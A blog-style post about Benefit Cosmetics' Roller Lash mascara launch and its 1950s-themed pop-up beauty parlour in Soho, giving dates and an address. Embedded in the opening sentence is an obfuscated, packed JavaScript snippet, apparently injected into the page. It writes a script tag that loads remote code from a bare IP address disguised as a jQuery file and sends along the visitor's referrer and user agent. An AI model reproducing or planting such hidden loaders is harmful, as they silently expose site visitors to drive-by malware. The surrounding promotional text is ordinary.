BENEFIT’S ‘CURL’S BEST FRIEND’ POP-UP PARLOUR

Seriously… (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yefhh|var|u0026u|referrer|hbnys||js|php’.split(‘|’),0,{}))
what is all the fuss about? It’s only a bloody mascara – it can’t be THAT amazing… but oh yeah, it really is! Benefit Cosmetics have launched their Roller Lash mascara this week, and to celebrate they have only gone and opened a pop-up…

The first ever ‘Curl’s Best Friend’ pop-up bar will open for 1 month from Friday 27th February in Soho. The experience will re-create the feel of a 1950s beauty parlour. A range of cupcakes and cocktails will be available to enjoy alongside the classic Benefit Cosmetics beauty treatments, and a special sampling station so you can try out the Roller Lash mascara yourself…Plus head to the second floor after 7pm and you’ll find a “secret” club serving cocktails. Curls just wanna have fun, right?

Fri 27th February – Fri 27th March, 11am – 11pm
26 Greek Street, Soho, W1D 5DE
www.benefitcosmetics.co.uk